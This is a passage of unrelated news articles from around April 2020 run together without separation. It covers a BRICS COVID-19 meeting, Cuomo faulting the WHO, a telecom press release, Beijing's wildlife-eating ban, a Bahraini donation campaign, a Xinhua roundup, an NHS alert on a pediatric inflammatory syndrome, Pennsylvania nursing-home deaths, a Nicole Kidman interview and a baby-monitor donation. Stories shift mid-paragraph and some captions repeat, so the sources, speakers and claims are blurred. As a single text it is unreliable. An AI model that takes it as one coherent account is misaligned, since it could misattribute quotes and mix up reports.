Covid-19 crisis. Further discussions on these issues will be held during upcoming sectoral meetings of the five countries, he added. A virtual meeting of economic experts of Brics states is expected to be held on Wednesday, and healthcare experts are expected to hold a similar meeting on May 7. Russias finance minister Anton Siluanov and finance minister Nirmala Sitharaman were elected chairperson and vice-chairperson of the NDBs board of governors during a virtual meeting on April 22. That meeting also the discussed the creation of an emergency assistance facility of $15 billion to meet emergency needs of Brics states. The NDB said it plans to earmark $10 billion for crisis-related assistance, including support for the economic recovery of Brics states. Addressing Tuesdays meeting, external affairs minister S Jaishankar said the challenge posed by Covid-19 underlines all the more the need for reform of multilateral systems and that reformed multilateralism was the way forward, according to a statement from the external affairs ministry. Brics, which accounts for almost 42% of the global population and has a substantial share of investment and trade, has an important role to play in shaping the global economic and political architecture, he said. Jaishankar said the pandemic had severely impacted the global economy and output by disrupting trade and supply chains, and this had led to loss of jobs and livelihoods. We need to provide support to businesses, especially MSMEs, to tide over the crisis and ensure livelihoods are not lost, he said. He spoke of Indias efforts to coordinate the response to Covid-19 in South Asia, including the creation of the Saarc Emergency Fund. India is also providing pharmaceutical aid to nearly 85 countries, including many in Africa, as grants. Lavrov also said there was no alternative to a multilateral approach to combating challenges such as Covid-19 and that multilateral institutions were facing a test. The Brics states, he said, will deepen cooperation at global platforms such as the UN, G20, WHO, WTO and IMF. The world community should unite to ensure the most positive outcome of our efforts for our countries and our citizens, Lavrov said. These efforts were being undermined by unilateral sanctions imposed on some countries, he added. We support the plea of the UN Secretary General and the UN High Commissioner on Human Rights to at least suspend, and at best lift, these unilateral sanctions, imposed by bypassing the UN Charter, he said. Asked about the US administrations decision to cut funding for the WHO, Lavrov said the common opinion of Brics states is that UNs health body is an important instrument and a unique platform that has the best professionals from around the world. Besides Jaishankar and Lavrov, Brazils foreign minister Ernesto Araujo, Chinese foreign minister Wang Yi, and South Africas foreign minister Grace Naledi Pandor joined the video conference. SHARE THIS ARTICLE ON New York Gov. Andrew Cuomo gives a press briefing about the CCP virus crisis in Albany, New York on April 17, 2020. (Matthew Cavanaugh/Getty Images) Cuomo Chides WHO and Alphabet Soup of Agencies for Dropping Ball on COVID-19 'Who was supposed to blow the bugle and didn't?' Cuomo said New York Governor Andrew Cuomo on Tuesday blamed international and domestic agencies, as well as legacy media, for what he suggested was a failure to acknowledge and respond to the threat posed by the COVID-19 outbreak in China. Cuomo, at a briefing Tuesday in Syracuse, lamented the apparent negligence of authorities to recognize and raise the alarm in a timely fashion in regards to the outbreak of the CCP (Chinese Communist Party) virus, the novel coronavirus that causes COVID-19. Everybody knows there was a virus in China last November and December, he said. Why didnt someone suspect, Well, maybe the virus gets on a plane and lands in the United States the next day? But all you need is one person to get on a plane. As it happened, one person got on a plane, and went from China to Europe, and then it went from Europe to New York. The governor then lashed out at the World Health Organization (WHO), the National Institutes of Health (NIH), and the Centers for Disease Control and Prevention (CDC). Where was the whole international health community? he asked. Where was the whole national host of experts, the WHO, the NIH, the CDC, that whole alphabet soup of agencies? Where was everyone? Where was the intelligence community, with the briefings? he continued. Saying this is in China and they have something called an airplane and you can get on an airplane and you can come to the United States? Governors dont do pandemics, Cuomo said, saying thats the role of competent national and international authorities. Where were all the experts? Where was the New York Times? Where was the Wall Street Journal? he asked. Where were all the bugle blowers who should say, Be careful, theres a virus in China that may be in the United States?' Cuomo said valuable time was lost in January and February debating the seriousness of the outbreak due to a lack of clear guidance. In this system, who was supposed to blow the bugle and didnt? Cuomos comments on Tuesday follow earlier comments made at an April 24 briefing when he spoke out in support of President Donald Trump calling into question the actions of the WHO on its COVID-19 response. He said the Trump administration, which has frozen WHO funding, should get to the bottom of whether the United Nations agency in any way failed to execute its mission. Whose job is it to warn of us of these global pandemics? The president says its the World Health Organization, and thats why hes taken action against them, Cuomo said at the briefing. A WHO rule for member countries is that they need to report outbreaks of new illnesses within 24 hours. Another is that the WHOs chief has the ability to make public any information about a member country flouting the rules. After freezing WHO funding last week, Trump announced an investigation, accusing the agency of severely mismanaging and covering up the spread of the virus in the first days of the crisis. They called it wrong. They missed the call. They could have called it months earlier. They would have known. They should have known. And they probably did know. So well be looking into that very carefully, the president told reporters in Washington earlier in April. Cuomo said at his briefing, Its not my field, but hes right to ask the question because this was too little, too late. And lets find out whats happened so it doesnt happen againand it will happen again. Bank on it. Secretary of State Mike Pompeo said at an April 22 briefing that U.S. officials strongly believe the Chinese Communist Party didnt report the outbreak of the new coronavirus within the 24 hours required under WHO policy. Even after it did notify the WHO, the regime in Beijing withheld information about the virus and continues to do so, he said. Critics also argue that the WHO was too slow to recommend travel restrictions and some other preventive measures and that the agency accepted information from the Chinese Communist Party at face value, despite red flags, including reports of arrests and silencing of whistleblowers. On Jan. 23, the day the Chinese Communist Party put Wuhan on lockdown, the WHO announced that, despite some internal disagreements, it wouldnt declare the outbreak a public health emergency of international concern. Then on Feb. 3, three days after Trump prohibited foreigners who had recently been in China from traveling to the United States, the WHO head voiced opposition to travel bans, saying measures that would unnecessarily interfere with travel and trade werent needed. Petr Svab contributed to this report. We are thrilled to be the first Microsoft Partner to enable GCC High certified organizations with Teams Direct Routing PSTN connectivity to meet the unique and evolving requirements of these agencies CallTower, a global leader in delivering cloud-based enterprise-class unified communications and collaboration solutions, announced today they are enabling Audio Conferencing with Microsoft Teams Direct Routing for GCC High certified organizations with Audio Codes Session Border Control (SBCs) for Security. When customers migrate to Teams with CallTower Direct Routing, they take advantage of Teams' powerful collaboration technology plus the feature-rich solutions CallTower adds to Teams-all while saving money. Customers who require GCC High audio conferencing also receive redundant paths from CallTower for business continuity. "We are thrilled to be the first Microsoft Partner to enable GCC High certified organizations with Teams Direct Routing PSTN connectivity to meet the unique and evolving requirements of these agencies," said CallTower Chief Revenue Officer William Rubio. "As many organizations explore migration paths to Microsoft Teams, we are on-boarding GCC High organizations with Microsoft Teams Direct Routing every day. Our Microsoft Teams Direct Routing enables UCaaS customized integrations, filling feature gaps in the Microsoft solution, along with Connect online provisioning." CallTower recently launched its new Teams Direct Routing pricing model. CallTower offers an integrated Office 365 Microsoft Teams experience with global calling plans, empowered by a US-based client services team. This solution ensures a personalized implementation, adoption, training and support strategy. As a Microsoft Gold Partner, CallTower's monitoring and management services deliver the highest quality user experience. About CallTower Since its inception in 2002, CallTower has become a leading provider of cloud-based, enterprise-class Unified Communications solutions for growing organizations worldwide. CallTower provides, integrates and supports industry-leading, cloud-based, Unified Communications and Collaboration solutions, including Cisco HCS, Webex Teams, Microsoft Teams Direct Routing, Office 365, Native Skype for Business, CT Cloud, CT Cloud Boost, and CT Cloud Meeting powered by Zoom for business customers. For more information, contact marketing@calltower.com. Beijing has forbidden its residents from consuming wild animals throughout the city in the wake of the coronavirus crisis. Local officials passed a new law on Friday to impose severe punishment on people who hunt, trade and eat wildlife, which is believed to be the source of the COVID-19. China rolled out a temporary ban on the trade and consumption of wild animals across the country in late February. But the new legislation marks the first time that the capital city signed the policy into law. Earlier this month, two other Chinese cities introduced new regulations to prevent residents from eating dogs and cats. Beijing has forbidden its residents from consuming wild animals across all regions of the city in the wake of the coronavirus crisis. The picture above shows the cat-like mammals seized by officials at Xinyuan wildlife market in Guangzhou on January 5, 2004 The law, titled 'Beijing Wildlife Protection and Management Regulations', was passed by the legislative committee of Beijing Municipal People's Congress on April 24. In the file photo, dog carcasses are stacked at a dog meat market in Yulin, China, on June 21, 2017 The law, titled 'Beijing Wildlife Protection and Management Regulations', was passed by the legislative committee of Beijing Municipal People's Congress on April 24. An older version of the regulations was introduced by the Beijing government in 1989. The officials decided to revise the wild animal protection law in response to the coronavirus pandemic. The new legislation will take effect from June 1. The previous law listed over 500 types of terrestrial animals under the Beijing Wildlife Conservation Directory, Chinese media report. Under the new regulations, 'terrestrial wildlife of important ecological, scientific and social value' will be included, according to a government notice. Seventeen types of aquatic wild animals are also added to the list. A proposal of the new law was first issued by China's top legislative committee in late February as the killer bug ravaged the country. But the regulations passed last week marks the first time that the capital city signed the temporary ban into law. Under the new regulations, 'terrestrial wildlife of important ecological, scientific and social value' will be included in the directive. People are pictured unloading a truck at a seafood market in Guangzhou, Guangdong province on February 25 Consumption of the listed wildlife will be prohibited across the city of Beijing. Hunting, trading and transporting such wild animals with the purpose of consuming are also forbidden. A woman wearing a mask works in a seafood market in Guangzhou on February 25 Consumption of the listed wildlife will be prohibited across the city of Beijing. Hunting, trading and transporting such wild animals with the purpose of consuming are also forbidden. Violators of the law can face fines up to 20 times the value of wild animals or their by-products. The regulations also specified that food service providers who breach the law will face harsher punishment. The law will also restrict the breeding of wildlife by banning private breeders. Institutions and companies can only breed wild animals for scientific, medical and display purposes. The new rules have redefined the scope of protected wild animals and banned wildlife hunting in all regions in Beijing unless otherwise specified, Wang Rongmei, a lawmaker of the Beijing Municipal People's Congress, told state media CGTN. It remains unclear if other cities in China will follow suit and enforce similar regulations. Two other Chinese cities have introduced regulations to prevent residents from eating pet meat earlier this month. The law will also restrict the breeding of wildlife by banning private breeders. Institutions and companies can only breed wild animals for scientific, medical and display purposes. The file photo taken on January 5, 2004, shows government workers collect civet cats in Xinyuan wildlife market to prevent a possible spread of SARS in Guangzhou city Authorities in Zhuhai issued the order in line with a government's proposal which lists dogs as 'companion animals', an official told state media. The file photo shows butchered dogs displayed for sale at a stall in Yulin on June 21, 2018 Zhuhai and Shenzhen, both in the southern province of Guangdong, will enforce the ban from May 1. Authorities in Zhuhai issued the order in line with a government's proposal which lists dogs as 'companion animals', an official told state media. The Chinese Ministry of Agriculture and Rural Affairs has recently excluded dogs from farm animals in a drafted directive. The authority said it recognises dogs as 'companion animals' and 'not suitable' to be managed as livestock in the document released on April 8. Only the animals officially listed as livestock or poultry can be bred, raised, traded and transported for commercial purposes in China, according to China's Animal Husbandry Law. The annual Yulin Dog Meat Festival is one of the most controversial food festivals in China and sees thousands of dogs cruelly killed, skinned and cooked with blow-torches before being eaten by the locals. The picture shows dog meat being served at the festival on June 21, 2017 This means the proposal can potentially prevent around 10 million dogs being killed for their meat every year in the country. The annual Yulin Dog Meat Festival, held every year on the summer solstice, is one of the most controversial food festivals in China. It sees thousands of dogs cruelly killed, skinned and cooked with blow-torches before being eaten by the locals. The coronavirus pandemic that is sweeping the globe is widely believed to start from a wildlife market in Wuhan, China. Although it remains unknown which animal transmitted the virus to humans, China has imposed a clampdown on its lucrative wildlife industry under control in a bid to prevent another outbreak. The coronavirus pandemic that is sweeping the globe is widely believed to start from a wildlife market in Wuhan, China. This photo taken on February 16 shows a doctor looking at an image as he checks a COVID-19 patient at the Wuhan Red Cross Hospital TDT | Manama The total financial contributions to the Feena Khair national campaign have so far reached BD35,737,746 from more than 40,000 individuals and over 500 companies, it emerged yesterday. His Highness Shaikh Nasser bin Hamad Al Khalifa has praised the great response by citizens, residents, companies and institutions to the national campaign (Theres Good in Us when in English), showing generosity in thoughts, words and deeds. HH Shaikh Nasser, His Majesty the Kings Humanitarian Work and Youth Affairs representative, National Security Adviser and Royal Humanitarian Foundation (RHF) Board of Trustees chairman, said that the campaign was in response to the major initiatives launched by His Majesty the King to protect the safety of Bahrain and all its citizens and residents since the coronavirus (COVID-19) outbreak. HM the King made the health of citizens and residents a top priority and ordered that a large budget be allocated to protect people and the national economy from this virus, which empowered Bahrain to emerge as an outstanding international leader in tackling the COVID-19 pandemic, HH Shaikh Nasser added. In the name of all citizens and residents in our beloved Kingdom, we extend our sincere thanks and appreciation to the leader of this country, His Majesty King Hamad bin Isa Al Khalifa, the Honorary President of the Royal Humanitarian Foundation, for his great care about the health and safety of citizens and residents in the Kingdom, HH Shaikh Nasser said. Bahrain has earned a distinguished reputation and regional and international praise, including from the World Health Organisation, thanks to the directives of HM the King. We also value the efforts of the government, headed by His Royal Highness Prince Khalifa bin Salman Al Khalifa, the Prime Minister, and the national efforts of Team Bahrain led by His Royal Highness Prince Salman bin Hamad Al Khalifa, Crown Prince, Deputy Supreme Commander and First Deputy Prime Minister, to contain and prevent the spread of the COVID-19 epidemic in the Kingdom, by applying all international standards and precautionary measures to fight the virus. HH Shaikh Nasser also posted praise for Bahraini citizens, residents, institutions and companies for their positive response, proactive attitudes and generous contributions. The Kingdom of Bahrain is proud of your solidarity as citizens and residents, and you have turned words into deeds. Your efforts are the best proof that #feena_Khair (#Theres Good in Us), he posted on his Twitter account. RFH secretary-general Dr Mustafa Al Sayed expressed deep gratitude to HH Shaikh Nasser for his generous initiative in launching the Feena Khair campaign, which generated remarkable responses from citizens, residents, companies, institutions and banks, contributing to the national efforts to tackle the coronavirus. The campaign will end on April 30, and we hope that the contributors will finish transferring their contributions before the end of the month, so that they will be disbursed according to the proposed plan, Dr Al Sayed said. We thank all the contributors to the campaign which came in response to their wishes to have the privilege of participating in it, providing support to the national efforts to tackle the coronavirus and contributing to the consolidation of social and health stability in the Kingdom. Source: Xinhua| 2020-04-28 13:46:31|Editor: huaxia Video Player Close BEIJING, April 28 (Xinhua) -- The following are the updates on the global fight against the COVID-19 pandemic. - - - - ABUJA -- Nigerian President Muhammadu Buhari has announced a phased and gradual easing of lockdown measures effective in the Federal Capital Territory (FCT) and two states of Lagos and Ogun from May 4, as the country continues to fight the COVID-19 epidemic. In a presidential broadcast late Monday, Buhari said for the past four weeks, most parts of Nigeria have been under either federal government or state government lockdowns, which have contributed to the slowing down of the spread of COVID-19 in our country. - - - - SYDNEY -- An Australian research clinic revealed on Tuesday it will seek volunteers to trial a COVID-19 vaccine developed by China-based global biotechnology company, Clover Biopharmaceuticals. Linear Clinical Research which is based in Perth, Western Australia, said that it will be recruiting healthy adults for the trial within the next two months. - - - - SEOUL -- South Korea's retail sale fell last month as the COVID-19 outbreak reduced offline sale, offsetting a double-digit increase in online sale, a government report showed Tuesday. Revenue of major retailers contracted 3.3 percent in March from a year earlier, according to the Ministry of Trade, Industry and Energy. - - - - KIGALI -- Rwandan President Paul Kagame said Monday that the East African Community (EAC) countries need to sustain efforts to promote cooperation and harmonization of certain policies in cross-border activities such as movement of cargo trucks "While we had really taken full control of the situation (of COVID-19) and reined in the virus, and registered more recoveries than active cases," all of a sudden cross-border activities increased rapidly, Kagame told a virtual press conference. - - - - NEW YORK -- Governor of the U.S. state of New York Andrew Cuomo said Monday that he would extend the PAUSE order in hard-hit regions amid the COVID-19 pandemic. "May 15 is when the PAUSE regulations expire statewide. I will extend them in many parts of the state," said Cuomo at his daily briefing. - - - - BUDAPEST -- A China-Europe freight train arrived here on Monday with much-needed medical supplies for Hungary. Departing from Jinan, the capital of China's Shandong province on April 7, the freight train delivered face masks, gloves and other protective equipment to Hungary to help fight COVID-19. - - - - BEIJING -- To prevent imported COVID-19 cases, China has ramped up the management of crew members of international ships and flights, according to the General Administration of Customs (GAC). All crew members inbound and outbound must report their health conditions, while airlines and ships are required to carry out onboard body temperature tests and report to the GAC when any anomalies occur, said GAC official Song Yueqian at a press conference Monday. - - - - CAPE TOWN -- South Africa reported 247 new COVID-19 cases and three more deaths in the past 24 hours, Health Minister Zweli Mkhize said Monday. With the newly-added cases and deaths, the country now has a total of 4,793 cases and 90 deaths, Mkhize said in his latest update on the pandemic. - - - - Houston -- The George H. W. Bush Foundation for U.S.-China Relations (Bush China Foundation) Monday announced that it has secured Chinese donations of nearly 100,000 masks to U.S. Houston in fighting against COVID-19. According to the Bush China Foundation, two shipments of 97,000 masks were purchased via donations from three Chinese companies: Asia & America Consultants Ltd., China Prospect Education Group, and Shenzhen Youhua Technology Co. Ltd. The foundation is expecting another 200,000 additional masks next month. - - - - WASHINGTON -- U.S. House Committee on Foreign Affairs launched an inquiry into the Trump administration's decision to halt funding to the World Health Organization (WHO), committee chairman Eliot Engel said on Monday. In a letter to Secretary of State Mike Pompeo, the Democratic congressman decried the decision to halt funding as a political distraction from the administration's response to the COVID-19 and demanded that the State Department produce records and information dealing with the decision. - - - - SAN FRANCISCO -- Health officials of several San Francisco Bay Area counties in the U.S. state of California announced Monday that they will extend coronavirus stay-at-home orders to the end of May. "Later this week, the Public Health Officers of the Counties of Alameda, Contra Costa, Marin, San Francisco, San Mateo, and Santa Clara as well as the City of Berkeley will issue revised shelter-in-place orders that largely keep the current restrictions in place and extend them through May," they said in a joint statement. - - - - GENEVA -- World Health Organization (WHO) Director-General Tedros Adhanom Ghebreyesus on Monday urged the European countries to find, isolate, test and treat all cases of COVID-19 while easing their containment measures. "As lock-downs in Europe ease with declining numbers of new cases, we continue to urge countries to find, isolate, test and treat all cases of COVID-19 and trace every contact, to ensure these declining trends continue," the WHO chief said at a virtual press conference. Enditem NHS England recently released an alert warning of a health condition seen emerging among children that may be linked to the coronavirus. The alert stated there had been an apparent rise in the number of children of all ages presenting with a multi-system inflammatory state requiring intensive care across London and also other regions of the UK over the past three weeks. According to the Paediatric Intensive Care Society (PICS), which shared the alert on Twitter, it is unknown how many children have been affected, although the organisation is aware of only a small number of children nationally who appear to fit the clinical picture described in the alert. At the governments daily press conference held on Monday 27 April, health secretary Matt Hancock said he is very worried by the reports, while NHS England medical director Stephen Powis said experts are currently investigating the issue as a matter of urgency. The NHS states that while children can become infected by coronavirus, they are less likely than adults to be seriously affected. What are the symptoms of the condition that has affected children with possible links to coronavirus? The alert released by NHS England states that the cases of children in intensive care with a multi-system inflammatory state have overlapping features of two health conditions toxic shock syndrome and atypical (or incomplete) Kawasaki disease. The health service states that the children have also had blood parameters consistent with severe Covid-19 in children. Abdominal pain and gastrointestinal symptoms have been a common feature as has cardiac inflammation, the NHS said. NHS England has stressed that there is no confirmed connection between Kawasaki-related diseases and the coronavirus. Furthermore, the aforementioned cases have included children who have tested positive for Covid-19 and children who have tested negative. Kawasaki disease, which is more likely to affect children under the age of five, causes swelling of the blood vessels of the heart, a high fever and a rash, Great Ormond Street Hospital explains. Words at the window: Social isolation and the Coronavirus Show all 12 1 /12 Words at the window: Social isolation and the Coronavirus Words at the window: Social isolation and the Coronavirus Agnetha Septimus, Matthew Septimus, and children Ezra and Nora Stephen Lovekin/REX/Shutterstock Words at the window: Social isolation and the Coronavirus Husband and wife filmmakers, Claire Ince and Ancil McKain pose for a portrait for the series by Shutterstock Staff Photographer, Stephen Lovekin, shot around the Ditmas Park neighborhood of Brooklyn, New York Stephen Lovekin/REX/Shutterstock Words at the window: Social isolation and the Coronavirus Khadijah Silver and son Eliot Stephen Lovekin/REX/Shutterstock Words at the window: Social isolation and the Coronavirus Anna Beth Rousakis and daughter Mary Rousakis Stephen Lovekin/REX/Shutterstock Words at the window: Social isolation and the Coronavirus Mike Pergola and Denise Pergola with children Henry, Jack, and Will Stephen Lovekin/REX/Shutterstock Words at the window: Social isolation and the Coronavirus Artist Shirley Fuerst Stephen Lovekin/REX/Shutterstock Words at the window: Social isolation and the Coronavirus Jean Davis and Danny Rosenthal, with children Simone, Naomi, and Leah Stephen Lovekin/REX/Shutterstock Words at the window: Social isolation and the Coronavirus Robert E Clark Jr Stephen Lovekin/REX/Shutterstock Words at the window: Social isolation and the Coronavirus Lisa Draho and Josh Zuckerman, with children Ruby and Ava Stephen Lovekin/REX/Shutterstock Words at the window: Social isolation and the Coronavirus Professor and activist Dr Kristin Lawler Stephen Lovekin/REX/Shutterstock Words at the window: Social isolation and the Coronavirus Tom Smith and Laura Ross, with daughters Caroline, Elizabeth, and Abigail Stephen Lovekin/REX/Shutterstock Words at the window: Social isolation and the Coronavirus Callie Lovekin and Lucas Lovekin Stephen Lovekin/REX/Shutterstock Toxic shock syndrome, a condition that develops when bacteria gets into the body, can result in symptoms including a high temperature, flu-like symptoms, diarrhoea and dizziness, the NHS outlines. Thankfully Kawasaki-like diseases are very rare, as currently are serious complications in children related to Covid-19, but it is important that clinicians are made aware of any potential emerging links so that they are able to give children and young people the right care fast, said Professor Simon Kenny, the NHSs national clinical director for children and young people. The advice to parents remains the same: if you are worried about your child for whatever reason, contact NHS 111 or your family doctor for urgent advice, or 999 in an emergency, and if a professional tells you to go to hospital, please go to hospital. Following the release of the NHS England alert, Societi Foundation, the UK Foundation for Kawasaki disease, issued a statement saying that there is no current evidence of any increased incidence or greater susceptibility to Covid-19 infection for children who had Kawasaki disease in the past. The organisation added that the cases referred to in the alert related to approximately 20 children, half of whom tested negative for the virus. Fewer cases of Kawasaki Disease than would be normally expected at this time of year are currently being seen not more, the foundation said. Kawasaki Disease is a seasonal inflammatory disorder peaking in the winter and spring, and whilst no infection has ever been proven to be the sole trigger, the scientific community believe that any one of many infections may trigger Kawasaki Disease in susceptible children. The organisation said that the advice for parents remains the same, as outlined by Professor Kenny. What have health officials said about the rare syndrome and its possible connection to Covid-19? Professor Russell Viner, president of the Royal College of Paediatrics and Child Health (RCPCH), assured parents that children are unlikely to become seriously ill due to the coronavirus. We already know that a very small number of children can become severely ill with Covid-19 but this is very rare evidence from throughout the world shows us that children appear to be the part of the population least affected by this infection, he said. New diseases may present in ways that surprise us, and clinicians need to be made aware of any emerging evidence of particular symptoms or of underlying conditions which could make a patient more vulnerable to the virus. Englands chief medical officer Chris Whitty said that it is entirely plausible the rare syndrome seen among a small number of children may have been caused by Covid-19. Meanwhile, NHS Englands national medical director Mr Powis said it is too early to confirm a link. He stated that experts are currently not sure as to the causes of the condition. Theyre not sure at the moment. Its really too early to say whether there is a link, but what I should say as we said already this afternoon is our advice to parents is this sort of disease is very, very rare, he said. Residents of nursing homes and long-term care facilities across Pennsylvania represent less than one-percent of the population, yet they account for 62-percent of all the states deaths from COVID-19 so far. Nearly one-fourth of all nursing homes and long-term care facilities have had at least one patient test positive so far in this pandemic. But the facilities arent getting the help or attention they need from the state, according to the Pennsylvania Health Care Association. Zach Shamberg, president of the association, told reporters Monday during a conference call that he believes long-term care facilities have been overlooked in the states response even though it represents the epicenter of the deaths in the state. He said they are in dire need of emergency funding and supplies. Weve shared our experiences and expected answers and solutions, he said. However the governors plan for Pa. has largely ignored providers, workers and residents in long-term care. Nate Wardle, spokesman for the Department of Health, said they have shared guidance with all nursing home facilities in Pennsylvania to assist them with COVID-19 along with some personal protective equipment. But Shayna Varner, spokeswoman for the association, said a very small percentage of the statewide-distributed protective gear went to long-term care homes and some of it was unusable. Wardle also said they hired a health services research organization to work with hard-hit facilities. The consultant, ECRI, has been in contact with 70 homes, but Varner said that represents about 3.6 percent of the facilities in the state. The state government response hasnt been enough, Shamberg said, and the cases keep multiplying. As of Monday, there had been 990 deaths from COVID-19 in nursing homes or personal care homes across the state out of the states overall death total: 1,597. Of the states 42,050 positive cases, nearly 19-percent have been residents or employees of nursing homes or assisted living centers. There are 695 nursing homes across the state and about 1,200 assisted-living homes serving 123,000 residents. Because the state hasnt released a specific plan to tackle the problems at long-term care facilities, the association on Monday said they released their own plan. The plan requests: emergency funding, priority testing, priority personal protective equipment and the appointment of a long-term care ambassador who could be a point-person for nursing homes and assisted-living centers. The Pa. Health Care Association created a plan with specific requests. The association also would like to see a centralized reporting database for long-term facilities instead of the multiple inefficient portals that currently exist and for the state adopt medical liability protections for health-care providers as some neighboring states like New Jersey have done. Long-term care facilities already were in a financially precarious position prior to the pandemic, Shamberg said, with flat-funding for seven years in a row for Medicaid while more than 70 percent of payments come from that source. Meanwhile, recent emergency federal legislation to financially assist health care workers in the response to the novel coronavirus has gone mostly to hospitals and doctors, not nursing homes or long-term care facilities, Shamberg said. The association sent a letter to Gov. Wolfs administration March 18 outlining their needs and hopes of getting some of the $1.5 billion in emergency funding but they got no response, Shamberg said. They sent a second later and again, no response, he said. Yet long-term care facilities are more susceptible to the deadly outcomes from the virus because its residents are more vulnerable with their age and preexisting conditions. Cases continue to spread in long-term homes even though precautions are in place because workers still could be asymptomatic and unsuspectingly bring the highly contagious coronavirus into a facility. Nursing homes already have restricted visitors, stopped communal dining and group activities as well as screening staff for symptoms, but the facilities need tests to check workers who could be asymptomatic, Shamberg said. As it stands, just 2 percent of Pa.s population has been tested and the Pa. Health Secretary already has said the state wont test symptomatic people. But these facilities need more testing to stay ahead of the disease, Shamberg said. The facilities also need more money to be able to retain their staff members through hazard pay and bonuses. Its the only way to keep those positions filled, he said. Nursing home workers also dont have enough personal protective gear and the state doesnt have an emergency stockpile. Every facility is on its own to try to obtain the necessary equipment, he said. The association partnered with Harrisburg University, which produced 3-D face shields for long-term care workers. But Shamberg said the fact the association had to do that on its own was a sad indication of where Pa. seniors are with PPE priority. Five-star facilities have had outbreaks, Shamberg said, so its not a matter of quality of care or trying harder but recognizing that proper protective equipment can reduce the chance of transmission. The state also needs a central reporting database to save time of long-term care workers who currently are spending hours filling out forms for federal, state, local and other databases in addition to notifying family members, providers and staff members when there is a positive test result or death from COVID-19. This work pulls them away from patient care, Shamberg said. The association supports transparency, he said. But what we cant support are duplicative procedures and burdensome processes, Shamberg said. We should have a singular reporting source, where other regulatory agencies can pull the information they need. READ: Man facing death battles back from COVID-19 with help of bold new therapy Nicole Kidman talks about love and balancing her work and family life in the May issue of WSJ. Magazine. The Australian beauty has been married to Keith Urban for almost 14 years and the 52-year-old Oscar winner fondly remembers the moment they fell in love. 'He's pretty much the flip side of neurotic.' Kidman gushes of the 'mellow' musician who she met in 2005. Hollywood beauty: Nicole Kidman talks about love and her family life in the new issue of WSJ. Magazine The couple met by chance at an industry event and he took her for a ride on his Harley-Davidson to Woodstock, New York. The New Zealand born crooner topped off the date with a picnic in the woods. Kidman reminisced, 'I was a gonerI mean, c'mon.' Now, with two daughters together; Sunday Rose, 11, and Faith Margaret, nine, keeping her family close knit is her number one priority. 'I'll pass on films,' The Bombshell star explains, adding that sometimes she'll select projects that shoot on the East Coast when her kids are not at school or take supporting tole parts so she can balance work and family time. 'I was a gonerI mean, c'mon': 'Nicole tells WSJ. Magazine that husband Keith Urban took her for a ride on his Harley-Davidson when they first met 'He's pretty much the flip side of neurotic': Nicole calls her husband of almost 14 years 'mellow' 'We have a system worked out to keep the family together,' she says. 'When Keith's not touring, it's much easier. He'll be on tour next year, and then I just dont work as much. Literallyit will become imbalanced, and we will change it. She adds, 'We dont have the answers, but the one thing we do know is that we will not jeopardize us.' And what projects Kidman picks can vary widely, as she explains, 'My taste is really out there. There's no sense. I'm a complete random nonconformist, Screen icon: The 52-year-old actress stuns in a pared down look for the WSJ. photoshoot wearing black and white clothes 'People are like, "What are you doing?" I'm like, "I don't know what I'm doing." I'll very much go on the record saying I have no idea what Im doing.' Kidman goes back to her roots in the accompanying photoshoot, showing off her natural curly locks. She models a pared down look with a natural makeup look and wears a selection of elegant black and white outfits. Her Hollywood career spans four decades but Kidman admits her sometimes intense movie roles can still take an emotional toll. 'Certain things penetrate psychologically in a really deep way. There is just no getting around that, and I wish there was,' she says. 'I havent been taught it. I have tried to learn it. I dont have the ability. It does take a toll on my health, and it takes a toll on my spirit,' 'We have a system worked out to keep the family together,' Kidman says, explaining she'll pass on movie roles if it means the family will be apart too long 'Certain things penetrate psychologically in a really deep way. There is just no getting around that, and I wish there was,' she says of the toll certain movie roles have on her emotionally The Hawaii-born star says she copes by writing down her experiences and practicing meditation, taught to her by her psychologist father. 'Im always trying to dig in. The unfortunate part of it is that the feelings are intense. I wish I could be the kind of person thats like, eh,' she says, shrugging. 'I have an unbelievably understanding husband and childrenthe little ones who are going like, "Why are you looking like that, Mummy?" [But] their ability to understand artistically is very deep already.' WSJ. Magazine's May Issue, hits newsstands May 2. Back to her roots: The actress reveals her naturally curly hair in the photoshoot The problem is the distance between the strategy as [Pottinger] would conceive of it and what is actually coming out as U.S. policy, said Ely Ratner, who is executive vice president at the Center for a New American Security and worked as an high-ranking adviser to Joe Biden when Biden was vice president. Acting in a confrontational, unilateral way is not going to be effective unless youre coordinating with your allies, and making the necessary investments in the United States to maintain American competitiveness and put forward an alternative to China. And theyre not doing those things. "It was incredibly important to me to find a way to help my communities during this pandemic and I was lucky enough to find and team up with the founders of Miku to provide state-of-the-art monitors to the most vulnerable people affected by COVID-19," critically acclaimed actress Octavia Spencer shared. "Miku is working to put monitors into hospitals and elderly care facilities, including those in my hometown of Montgomery, Alabama, to safeguard those on the frontlines and provide a next level of care for potential and existing COVID patients. Through the tireless efforts of the Miku team, communication between frontline healthcare workers and those affected will be conducted in a safer and more effective manner." "Our international philanthropic efforts have been dedicated to systematic health care and expanded access to life-saving care," said Jennifer Gross, Director at the William, Jeff and Jennifer Gross Family Foundation. "It is extremely sobering, urgent and essential to do the same in my hometown of Mission Viejo to protect frontline health workers who risk their lives every day to treat patients from our community and beyond." Hospitals and assisted living facilities caring for infected, exposed, and at-risk individuals across the country are seeking to utilize Miku due to both the brand's innovative technology, that tracks respiratory patterns with unparalleled accuracy, and its contact-free system, without the need for any wires or wearables, thereby minimizing caregiver-patient interaction and reducing the potential for exposure. Miku's two-way talk functionality also offers real-time communication to vastly reduce exposure risk in these vulnerable environments. The Miku Smart Baby Monitor was initially created to protect the most precious of lives: newborns and infants. The applications for the breathing monitor have expanded in response to COVID-19, an unforecasted catalyst, which has created a necessity for contactless respiratory monitoring in preventative and telemedicine. Miku is currently exploring how its technology can help those afflicted with Sleep Apnea, Dementia, Alzheimer's Disease, COPD, and other respiratory issues. "As Miku's Chief Medical Advisor, I cannot wait to see the brand's unrivaled technology employed in healthcare and assisted living facilities," stated Dr. Jacqueline Winkelmann. "As a healthcare provider, I'm honored to be a part of a team who is using their product for good to help those fighting on the frontlines and keep patients and staff safe." Mission Hospital's Chief Executive Officer, Seth Teigen, stated, "Thanks to the generosity of the William, Jeff and Jennifer Gross Family Foundation, Mission Hospital is on the cutting edge of technology with a new innovative way to safely monitor COVID-19 and other highly contagious patients, while keeping our caregivers safe." Baptist Health Public Relations Director, Kadie Agnew said, "Alabamians are no stranger to uniting during times of adversity. At Baptist Health we have experienced a tremendous outpouring of support from businesses, organizations and individuals throughout Central Alabama during the COVID-19 crisis. However, perhaps the most unexpected blessing came when Alabama native, Octavia Spencer, offered to give back to her hometown. Thanks to Octavia's generosity and giving spirit, Baptist Health is now equipped with a new 